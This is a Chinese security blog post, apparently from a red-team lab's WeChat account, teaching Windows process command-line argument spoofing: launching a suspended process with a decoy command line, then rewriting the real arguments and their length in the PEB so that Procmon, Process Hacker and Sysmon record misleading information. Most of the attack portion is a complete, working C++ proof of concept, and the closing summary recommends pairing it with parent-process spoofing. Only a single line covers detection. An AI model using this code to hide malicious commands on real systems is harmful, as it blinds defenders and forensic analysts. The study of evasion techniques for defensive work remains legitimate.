本期作者/ shadow
攻击者可以通过修改进程内存来伪造可疑程序的命令行参数信息。当通过命令行执行相关命令时,分析人员使用诸如 Procmon,Process Hacker,Sysmon 等监视工具可以查看运行命令的详细信息。
比如当执行 powershell.exe -c calc.exe 时,通过 Procmon 工具的监控,可以查看到 powershell 程序的执行的命令行参数。
再比如,执行 powershell.exe -NoExit calc.exe 命令后,通过 process hacker 程序,可以看到 powershell 进程的命令行参数信息。
再比如,通过 Sysmon 也可以记录启动程序的命令行信息。
通过伪造进程的命令行参数信息可以误导分析工具或研究人员。
实现原理
一些事件记录工具会监视目标进程的创建从而记录进程创建后的一些信息,可以在创建进程的时候使用假的命令行参数进行欺骗,从而误导这些分析工具,还存在一些进程管理工具,比如 Process Hacker 会通过目标进程的 PEB 中获取进程命令行参数信息,它会根据命令行参数的长度读取命令行参数信息,只需要修改命令行参数的长度进而欺骗这些进程管理工具。
创建进程时,内部 Windows 数据结构 Process Environment Block 将会映射到进程虚拟内存中。该数据结构包含有关进程本身的大量信息,例如已加载模块的列表,以及用于启动进程的命令行。由于 PEB(以及命令行)存储在进程的内存空间而不是内核空间中,因此只要我们对进程具有适当的权限,就很容易实现对其的覆盖。
PEB 数据结构定义在 winternl.h 头文件中,其中 PEB 中的 RTL_USER_PROCESS_PARAMETERS 结构中记录着有关命令行参数信息(CommandLine 字段)。
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
CommandLine 字段是一个 UNICODE_STRING 类型,该类型是一个结构体,定义如下:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
其中 Buffer 字段指向命令行参数的内容,Length 字段是命令行参数的长度。
实现进程命令行参数欺骗的具体步骤:
1.创建挂起的目标进程
2.使用实际的命令行参数更新目标进程内存(修改 PEB.ProcessParameters.CommandLine)
3.恢复目标进程执行
编码实现
创建挂起的进程
可以利用 CreateProcess 函数创建一个进程,其中参数 dwCreationFlags 传入 CREATE_SUSPENDED 将以挂起的方式创建进程,创建进程的命令行参数使用假的参数创建。
// 创建一个挂起的进程
if (!CreateProcess(NULL, wszFakeCommandline, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("[!] CreateProcess Failed: %dn", GetLastError());
return -1;
}
需要注意的是,假的命令行参数需要比实际的命令行参数要长。
更新目标进程命令行参数
通过 NtQueryInformationProcess 函数获取指定进程信息,该函数定义如下:
https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess
NTSTATUS NtQueryInformationProcess(
[in] HANDLE ProcessHandle, // 目标进程句柄
[in] PROCESSINFOCLASS ProcessInformationClass, // 获取的进程信息类型
[out] PVOID ProcessInformation, // 查询后填充的缓冲区指针
[in] ULONG ProcessInformationLength, // 缓冲区大小
[ out, optional ] PULONG ReturnLength // 实际请求信息大小
);
首先获取 NtQueryInformationProcess 函数地址,通过 GetModuleHandle + GetProcAddress 获取该函数地址
// 获取 NtQueryInformationProcess 函数地址
typedef NTSTATUS(NTAPI * NtQueryInformationProcess_t)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
NtQueryInformationProcess_t pNtQueryInformationProcess = (NtQueryInformationProcess_t)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess");
if (pNtQueryInformationProcess == NULL) {
return -1;
}
之后使用 ProcessBasicInformation 标志获取进程的基本信息。
// 获取目标进程基本信息
Status = pNtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &uRetern);
if (Status != 0) {
printf("t[!] NtQueryInformationProcess Failed With Error : 0x%08X n", Status);
return -1;
}
这将返回一个 PROCESS_BASIC_INFORMATION 结构,该结构定义如下:
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB PebBaseAddress;
ULONG_PTR AffinityMask;
KPRIORITY BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
其中 PebBaseAddress 字段就是目标进程指向 PEB 的指针。
之后通过 ReadProcessMemory 函数读取目标进程 PEB 结构信息。
if (!ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(PEB), NULL)) {
printf("t[!] ReadProcessMemory Failed With Error : %d n", GetLastError());
return -1;
}
获取 PEB 结构之后,继续通过 ReadProcessMemory 函数读取 RTL_USER_PROCESS_PARAMETERS 结构。
// 获取目标进程的 ProcessParameters 结构
if (!ReadProcessMemory(hProcess, peb.ProcessParameters, &Params, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL)) {
printf("t[!] ReadProcessMemory Failed With Error : %d n", GetLastError());
return -1;
}
RTL_USER_PROCESS_PARAMETERS 结构中的 CommandLine 成员记录着目标进程的命令行信息,通过 WriteProcessMemory 函数将真实的命令行参数写入。
// 修改目标进程的命令行参数
if (!WriteProcessMemory(hProcess, Params.CommandLine.Buffer, wszRealCommandline, (lstrlenW(wszRealCommandline) + 1) * sizeof(WCHAR), NULL)) {
printf("t[!] WriteProcessMemory Failed With Error : %d n", GetLastError());
return -1;
}
为了欺骗那些在进程运行过程中从 PEB 获取命令行参数信息的工具,还需要修改命令行参数的长度,同样,通过 WriteProcessMemory 函数进行修改。
// 修改目标进程的命令行参数
if (!WriteProcessMemory(hProcess, &(peb.ProcessParameters->CommandLine.Length), &sFakeLength, sizeof(sFakeLength), NULL)) {
printf("t[!] WriteProcessMemory Failed With Error : %d n", GetLastError());
return -1;
}
恢复目标进程主线程执行
在这些动作完成后,需要恢复目标进程主线程执行,这是通过 ResumeThread 函数完成的。
ResumeThread(pi.hThread);
上述过程的完整验证代码如下:
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
int main(int argc, char *argv[])
{
NTSTATUS Status = 0;
ULONG uRetern = 0;
PROCESS_BASIC_INFORMATION pbi = {0};
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
HANDLE hProcess = NULL;
PEB peb = {0};
RTL_USER_PROCESS_PARAMETERS Params = {0};
WCHAR wszFakeCommandline[MAX_PATH] = L"powershell.exe nothing to see here!";
WCHAR wszRealCommandline[MAX_PATH] = L"powershell.exe -NoExit calc.exe";
USHORT sFakeLength = sizeof(L"powershell.exe");
// 创建一个挂起的进程
if (!CreateProcess(NULL, wszFakeCommandline, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("[!] CreateProcess Failed: %dn", GetLastError());
return -1;
}
hProcess = pi.hProcess;
printf("[i] Target Process Created With Pid : %d n", pi.dwProcessId);
// 获取 NtQueryInformationProcess 函数地址
typedef NTSTATUS(NTAPI * NtQueryInformationProcess_t)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
NtQueryInformationProcess_t pNtQueryInformationProcess = (NtQueryInformationProcess_t)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess");
if (pNtQueryInformationProcess == NULL) {
return -1;
}
// 获取目标进程基本信息
Status = pNtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &uRetern);
if (Status != 0) {
printf("t[!] NtQueryInformationProcess Failed With Error : 0x%08X n", Status);
return -1;
}
if (pbi.PebBaseAddress == NULL) {
return -1;
}
printf("[i] PEB at 0x%pn", pbi.PebBaseAddress);
// 获取目标进程的 PEB 结构
if (!ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(PEB), NULL)) {
printf("t[!] ReadProcessMemory Failed With Error : %d n", GetLastError());
return -1;
}
// 获取目标进程的 ProcessParameters 结构
if (!ReadProcessMemory(hProcess, peb.ProcessParameters, &Params, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL)) {
printf("t[!] ReadProcessMemory Failed With Error : %d n", GetLastError());
return -1;
}
// 修改目标进程的命令行参数
if (!WriteProcessMemory(hProcess, Params.CommandLine.Buffer, wszRealCommandline, (lstrlenW(wszRealCommandline) + 1) * sizeof(WCHAR), NULL)) {
printf("t[!] WriteProcessMemory Failed With Error : %d n", GetLastError());
return -1;
}
// 修改目标进程的命令行参数长度
if (!WriteProcessMemory(hProcess, &(peb.ProcessParameters->CommandLine.Length), &sFakeLength, sizeof(sFakeLength), NULL)) {
printf("t[!] WriteProcessMemory Failed With Error : %d n", GetLastError());
return -1;
}
// 恢复主线程执行
ResumeThread(pi.hThread);
system("pause");
return 0;
}
验证测试
运行测试程序,通过 Procmon 工具进行监控。
使用 process hacker 工具查看
查看 sysmon 日志
检测
通过监视进程的创建过程,特别是挂起的进程创建,并验证创建该进程的父进程。
小结
通常,进程命令行参数欺骗配合父进程欺骗一同使用,还需注意修改创建进程时进程的启动目录,从而进行更真实的伪装效果。
在进行进程命令行参数欺骗时,注意用于欺骗的命令行参数长度(在创建挂起的进程时传递的参数)要大于真实的命令行参数长度(在运行时修改的命令行参数)。为了误导通过动态获取命令行参数信息的检测工具,在修改命令行参数长度时,需要尽可能的控制长度小于真实的命令行参数长度,从而让这些工具在读取命令行参数的过程中进行截断读取。
原文始发于微信公众号(蛇矛实验室):进程命令行参数欺骗